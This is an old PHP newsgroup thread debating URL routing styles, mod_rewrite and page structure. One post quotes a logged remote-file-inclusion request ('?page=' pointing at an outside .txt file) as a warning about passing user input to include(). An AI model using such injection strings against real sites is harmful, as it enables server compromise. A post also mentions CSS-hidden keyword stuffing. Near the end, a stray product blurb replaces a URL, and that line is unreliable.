URLing schemes and elegance

Collapse
This topic is closed.
X
X
 
  • Time
  • Show
Clear All
new posts
  • R. Rajesh Jeba Anbiah

    URLing schemes and elegance

    Bit OT, but PHP oriented style issue...

    Just curious to know how many of you really use the URLs like

    And how many of you really liked or found it elegant? TIA

    --
    | Just another PHP saint |
    Email: rrjanbiah-at-Y!com
  • Justin Koivisto

    #2
    Re: URLing schemes and elegance

    R. Rajesh Jeba Anbiah wrote:
    [color=blue]
    > Bit OT, but PHP oriented style issue...
    >
    > Just curious to know how many of you really use the URLs like
    > http://talks.php.net/index.php/Web+Services
    > And how many of you really liked or found it elegant? TIA[/color]

    Not I. I have been sticking with mod_rewrite for all my "se friendly"
    URIs. The best part about it is the hiding of technology. Afterall, if I
    have to switch a site over to jsp, asp or coldfusion, I can still keep
    the URIs without anyone (including the SEs) knowing that I am using a
    different tech.

    Even if I am doing static HTML pages, I still like to use mod_rewrite
    for the fact that If I change, it will be transparent to any visitors or
    search engines.

    --
    Justin Koivisto - spam@koivi.com
    PHP POSTERS: Please use comp.lang.php for PHP related questions,
    alt.php* groups are not recommended.

    Comment

    • Brad Kent

      #3
      Re: URLing schemes and elegance

      anytime I see "index.php" or "index.html " in a URL I think their web
      guy must be a doofus.
      But specific to your question.. I'm using something like:


      and back to my peeve.. what's with urls like
      /information/information.htm l
      /calendar/calendar.html
      /contact-us/contact-us.html
      etc..
      morons!

      ng4rrjanbiah@re diffmail.com (R. Rajesh Jeba Anbiah) wrote in message news:<abc4d8b8. 0406220312.3850 15b5@posting.go ogle.com>...[color=blue]
      > Bit OT, but PHP oriented style issue...
      >
      > Just curious to know how many of you really use the URLs like
      > http://talks.php.net/index.php/Web+Services
      > And how many of you really liked or found it elegant? TIA[/color]

      Comment

      • Chung Leong

        #4
        Re: URLing schemes and elegance

        "Brad Kent" <bkfake-google@yahoo.co m> wrote in message
        news:7ad3d45b.0 406221221.20d5d 0c6@posting.goo gle.com...[color=blue]
        > anytime I see "index.php" or "index.html " in a URL I think their web
        > guy must be a doofus.
        > But specific to your question.. I'm using something like:
        > http://talks.php.net/?page=Web+Services
        >
        > and back to my peeve.. what's with urls like
        > /information/information.htm l
        > /calendar/calendar.html
        > /contact-us/contact-us.html
        > etc..
        > morons![/color]

        Err, have you developed in a team before? Keeping the filename in the URL,
        as well as using unique names for files, make it easier for others to
        understand your code. If there's a problem in a page, all they have to do is
        take quick glance at the URL to find the right file to examine.

        Filtering all page requests through a single script is stupid. You are
        basically just replicating what the web server does, which is resolving a
        URL to the correct page. At the same time you create a single point of
        failure.



        Comment

        • Chung Leong

          #5
          Re: URLing schemes and elegance

          "R. Rajesh Jeba Anbiah" <ng4rrjanbiah@r ediffmail.com> wrote in message
          news:abc4d8b8.0 406220312.38501 5b5@posting.goo gle.com...[color=blue]
          > Bit OT, but PHP oriented style issue...
          >
          > Just curious to know how many of you really use the URLs like
          > http://talks.php.net/index.php/Web+Services
          > And how many of you really liked or found it elegant? TIA[/color]

          I found it utterly stupid. This kind architecture usually requires passing a
          user-supplied variable to include()--one of the leading causes of server
          compromise in PHP sites.

          When I look at my server log, I see requests for URLs like
          '/?page=http://www.blog.ru/~vlds83/blob.txt' all the time. These are
          automated attacks against scripts coded by folks who reinvent the wheel for
          no good reason.

          Take a look at www.php.net. Simple, straight forward schemes are elegant
          imho.


          Comment

          • R. Rajesh Jeba Anbiah

            #6
            Re: URLing schemes and elegance

            Justin Koivisto <spam@koivi.com > wrote in message news:<xXWBc.194 5$m3.102320@new s7.onvoy.net>.. .[color=blue]
            > R. Rajesh Jeba Anbiah wrote:
            >[color=green]
            > > Bit OT, but PHP oriented style issue...
            > >
            > > Just curious to know how many of you really use the URLs like
            > > http://talks.php.net/index.php/Web+Services
            > > And how many of you really liked or found it elegant? TIA[/color]
            >
            > Not I. I have been sticking with mod_rewrite for all my "se friendly"
            > URIs. The best part about it is the hiding of technology. Afterall, if I
            > have to switch a site over to jsp, asp or coldfusion, I can still keep
            > the URIs without anyone (including the SEs) knowing that I am using a
            > different tech.[/color]

            Thanks for your comments. You seem to suggest mod_rewrite instead of
            that scheme? But, if I'm right, they also seem to use mod_rewrite as
            in the case:

            http:talks.php. net/index.php/Web+Services
            to
            http:talks.php. net/index.php?page= Web+Services

            Am I wrong?

            --
            | Just another PHP saint |
            Email: rrjanbiah-at-Y!com

            Comment

            • R. Rajesh Jeba Anbiah

              #7
              Re: URLing schemes and elegance

              bkfake-google@yahoo.co m (Brad Kent) wrote in message news:<7ad3d45b. 0406221221.20d5 d0c6@posting.go ogle.com>...[color=blue]
              > anytime I see "index.php" or "index.html " in a URL I think their web
              > guy must be a doofus.
              > But specific to your question.. I'm using something like:
              > http://talks.php.net/?page=Web+Services
              >
              > and back to my peeve.. what's with urls like
              > /information/information.htm l
              > /calendar/calendar.html
              > /contact-us/contact-us.html
              > etc..
              > morons![/color]

              Thanks for your comments. I see your points. URLs like
              /information/information.htm l are becoming popular because of some SEO
              papers.

              --
              | Just another PHP saint |
              Email: rrjanbiah-at-Y!com

              Comment

              • R. Rajesh Jeba Anbiah

                #8
                Re: URLing schemes and elegance

                "Chung Leong" <chernyshevsky@ hotmail.com> wrote in message news:<Wu-dnRTNjv9-IEXdRVn-vA@comcast.com> ...[color=blue]
                > "R. Rajesh Jeba Anbiah" <ng4rrjanbiah@r ediffmail.com> wrote in message
                > news:abc4d8b8.0 406220312.38501 5b5@posting.goo gle.com...[color=green]
                > > Bit OT, but PHP oriented style issue...
                > >
                > > Just curious to know how many of you really use the URLs like
                > > http://talks.php.net/index.php/Web+Services
                > > And how many of you really liked or found it elegant? TIA[/color]
                >
                > I found it utterly stupid. This kind architecture usually requires passing a
                > user-supplied variable to include()--one of the leading causes of server
                > compromise in PHP sites.
                >
                > When I look at my server log, I see requests for URLs like
                > '/?page=http://www.blog.ru/~vlds83/blob.txt' all the time. These are
                > automated attacks against scripts coded by folks who reinvent the wheel for
                > no good reason.
                >
                > Take a look at www.php.net. Simple, straight forward schemes are elegant
                > imho.[/color]

                Thanks for your comments. I could see, you're against to
                "centralize d" (ie, single index.php style as of phpNuke) architecture.
                I could see the URLing style like index.php/foo as in
                http://talks.php.net/index.php/Web+Services becoming popular in php
                websites. I first saw such style in phpPatterns of Harry Fuecks eg.
                <http://www.phppatterns .com/index.php/article/archive/11/>. But
                nowadays this style is becoming more popular in PHP.

                Personally, I'm not much attracted by this style. But, just liked to
                know how many liked that style.

                --
                | Just another PHP saint |
                Email: rrjanbiah-at-Y!com

                Comment

                • Chung Leong

                  #9
                  Re: URLing schemes and elegance

                  "R. Rajesh Jeba Anbiah" <ng4rrjanbiah@r ediffmail.com> wrote in message
                  news:abc4d8b8.0 406230204.3278e 016@posting.goo gle.com...[color=blue]
                  > Thanks for your comments. I could see, you're against to
                  > "centralize d" (ie, single index.php style as of phpNuke) architecture.
                  > I could see the URLing style like index.php/foo as in
                  > http://talks.php.net/index.php/Web+Services becoming popular in php
                  > websites. I first saw such style in phpPatterns of Harry Fuecks eg.
                  > <http://www.phppatterns .com/index.php/article/archive/11/>. But
                  > nowadays this style is becoming more popular in PHP.
                  >
                  > Personally, I'm not much attracted by this style. But, just liked to
                  > know how many liked that style.[/color]

                  Because there are more and more page-designers (as opposed to programmers)
                  using PHP, bringing with them their graphics oriented mindset. What they're
                  trying to accomplish is put a frame (top nav, side nav, tool bar, etc)
                  around some content in the middle of the page. Visually, it seems to make
                  sense to have this arrangement:

                  index.php:

                  [top nav HTML]
                  [side nav HTML]
                  <? include($conten t_path); ?>
                  [footer HTML]

                  From a functional point of view though, it really doesn't, since the main
                  functionality of that page is the stuff in the middle, while the frame
                  itself is of secondary importance. This is a better design:

                  article.php:

                  <?

                  include("header .php");
                  [ code that pull up the content ]
                  include("footer .php");

                  ?>

                  because more control is given to the script that actually produces the
                  useful stuff. It could, for example, decide to use a slightly different
                  header because the content is wide and the page would look better with a
                  slimmer left nav, or it could forgo including the header altogether because
                  it's going to do a redirect. In a single entry point it wouldn't be able to
                  do the same as it has no control over the file that includes it.



                  Comment

                  • Brad Kent

                    #10
                    Re: URLing schemes and elegance

                    "Chung Leong" <chernyshevsky@ hotmail.com> wrote in message news:<2--dnRQp_OboLEXdRV n-gg@comcast.com> ...[color=blue]
                    > "Brad Kent" <bkfake-google@yahoo.co m> wrote in message
                    > news:7ad3d45b.0 406221221.20d5d 0c6@posting.goo gle.com...[color=green]
                    > > anytime I see "index.php" or "index.html " in a URL I think their web
                    > > guy must be a doofus.
                    > > But specific to your question.. I'm using something like:
                    > > http://talks.php.net/?page=Web+Services
                    > >
                    > > and back to my peeve.. what's with urls like
                    > > /information/information.htm l
                    > > /calendar/calendar.html
                    > > /contact-us/contact-us.html
                    > > etc..
                    > > morons![/color]
                    >
                    > Err, have you developed in a team before? Keeping the filename in the URL,
                    > as well as using unique names for files, make it easier for others to
                    > understand your code. If there's a problem in a page, all they have to do is
                    > take quick glance at the URL to find the right file to examine.
                    >
                    > Filtering all page requests through a single script is stupid. You are
                    > basically just replicating what the web server does, which is resolving a
                    > URL to the correct page. At the same time you create a single point of
                    > failure.[/color]


                    having unique filenames makes perfect sense.. but since they're
                    unique what's with all the separate dir names of the same name holding
                    a single html file?
                    /path/information.htm l
                    /path/calendar.html
                    /path/contact-us.html
                    works just as well.
                    part of the problem I see with sites using my peeve is that they tend
                    to bork up on their navigation as well.. forgetting to use a
                    relative or absolute path to get to the other pages.
                    here's a site I just visited this morning that illustrates many of
                    these peeves/issues... http://www.fullmoonrun.com/
                    * a directory for each page..
                    * including "index.php" in their urls.
                    * not knowing how to link to the other pages once they're in their
                    directory mess

                    Comment

                    • Lāʻie Techie

                      #11
                      Re: URLing schemes and elegance

                      On Tue, 22 Jun 2004 13:21:28 -0700, Brad Kent wrote:
                      [color=blue]
                      > and back to my peeve.. what's with urls like /information/information.htm l
                      > /calendar/calendar.html
                      > /contact-us/contact-us.html
                      > etc..
                      > morons![/color]

                      Having worked for an online mall, we were told that such repetition is one
                      way to force a higher ranking in some search engines. Some designers at
                      that mall likewise have paragraphs full of key words, using CSS to hide
                      this nonsense from the end user.

                      La'ie Techie

                      Comment

                      • lurker

                        #12
                        Re: URLing schemes and elegance

                        R. Rajesh Jeba Anbiah wrote:
                        [color=blue]
                        > Justin Koivisto <spam@koivi.com > wrote in message
                        > news:<xXWBc.194 5$m3.102320@new s7.onvoy.net>.. .[color=green]
                        >> R. Rajesh Jeba Anbiah wrote:
                        >>[color=darkred]
                        >> > Bit OT, but PHP oriented style issue...
                        >> >
                        >> > Just curious to know how many of you really use the URLs like
                        >> > http://talks.php.net/index.php/Web+Services
                        >> > And how many of you really liked or found it elegant? TIA[/color]
                        >>
                        >> Not I. I have been sticking with mod_rewrite for all my "se friendly"
                        >> URIs. The best part about it is the hiding of technology. Afterall, if I
                        >> have to switch a site over to jsp, asp or coldfusion, I can still keep
                        >> the URIs without anyone (including the SEs) knowing that I am using a
                        >> different tech.[/color]
                        >
                        > Thanks for your comments. You seem to suggest mod_rewrite instead of
                        > that scheme? But, if I'm right, they also seem to use mod_rewrite as
                        > in the case:
                        >
                        > http:talks.php. net/index.php/Web+Services
                        > to
                        > http:talks.php. net/index.php?page= Web+Services
                        >
                        > Am I wrong?[/color]

                        Mod_rewrite usage doesn't even require the ".php" extension. All someone
                        browsing a site using mod_rewrite to rewrite the URLs would see is
                        Agentforce 360 Platform (Formerly Salesforce Platform) powers the Agentic Enterprise, combining metadata, governance, MuleSoft and Data Cloud.


                        The backend of the site could be php, perl, python, a CGI app, whatever, and the
                        URI's would stay the same even if someone switches the backend to an entirely
                        different programming language.

                        Comment

                        Working...